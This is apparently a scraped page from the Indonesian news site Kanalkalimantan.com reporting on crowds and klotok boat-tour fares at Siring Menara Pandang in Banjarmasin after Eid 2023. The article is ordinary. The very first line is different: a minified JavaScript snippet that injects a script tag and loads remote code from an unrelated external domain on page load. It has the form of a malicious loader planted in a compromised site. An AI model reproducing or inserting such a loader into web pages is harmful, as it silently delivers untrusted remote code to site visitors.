(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dua hari setelah perayaan Idulfitri 1444 hijriyah, kawasan wisata Siring Menara Pandang Banjarmasin dipadati pengunjung.
Pantauan Kanalkalimantan.com Senin (24/4/2023) sore, ratusan pengunjung yang terdiri dari anak-anak hingga orang dewasa menghabiskan waktu pada saat terbenam matahari untuk menikmati keindahan Sungai Martapura yang terletak di jantung kota berjuluk Seribu Sungai ini.
Salah satu objek wisata yang menjadi primadona pengunjung yaitu susur Sungai Martapura dengan menaiki kelotok atau perahu mesin khas Kalimantan Selatan.
Wisatawan susur sungai yang didominasi anak-anak muda terlihat banyak duduk di atap klotok untuk menikmati keindahan Sungai Martapura dan juga untuk mengabadikan moment menyusuri Sungai Martapura.
Baca juga: Arus Balik di Pelabuhan Trisakti Masih sepi, Kapal Bersandar Mulai H+5 Lebaran
“Memang pengunjung lebih banyak jika dibandingkan tahun lalu saat masih pandemi,” kata salah satu pengelola klotok wisata Susur Sungai H Syam.
H Syam mengatakan pihaknya menyediakan jasa susur sungai dari jarak yang paling jauh ke Pulau Kembang dan Lok Baintan, hingga yang paling dekat di sekitar Siring Menara Pandang dan Patung Bekantan.
Untuk biaya, dikatakan H Syam bisa sewa satu unit klotok atau bayar perorangan. Misalnya ke Pasar Terapung Lok Baintan pengunjung bisa memilih menggunakan klotok yang lama atau klotok baru dengan tarif yang berbeda.
“Kalau ke Lok Baintan itu Rp 450 ribu, kalau pakai klotok yang baru itu Rp 600 ribu,” ungkapnya.
Sementara itu, dikatakannya hari kedua setelah lebaran, pengunjung lebih banyak menaiki kelotok yang menyusuri Sungai Martapura menuju objek Wisata Kampung Biru dengan tarif Rp 10 ribu per orang.
Dari data armada wisata susur sungai yang ada, setidaknya terdapat 88 buah klotok wisata yang terdapat di kawasan Siring Menara Pandang Banjarmasin. Semuanya beroperasi secara bergantian dengan masing-masing klotok dioperasikan oleh seorang juru mudi kapal.
Baca juga: Bayi Dibuang Dalam Kardus Kondisi Sehat, Polisi Buru Pelaku
“Total keseluruhan klotok di sini 88 buah, jadi mereka bergantian menariknya. Supaya semuanya mendapatkan penumpang,” sebut H Syam.
Lebih lanjut dikatakannya wisata susur sungai di kawasan Siring Menara Pandang buka setiap hari, baik hari kerja maupun hari libur.
Selain siang hari, wisata susur sungai juga dibuka pada waktu malam hari, untuk rute seperti kawasan Kampung Biru atau sekitar Siring Menara Pandang dan Patung Bekantan. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.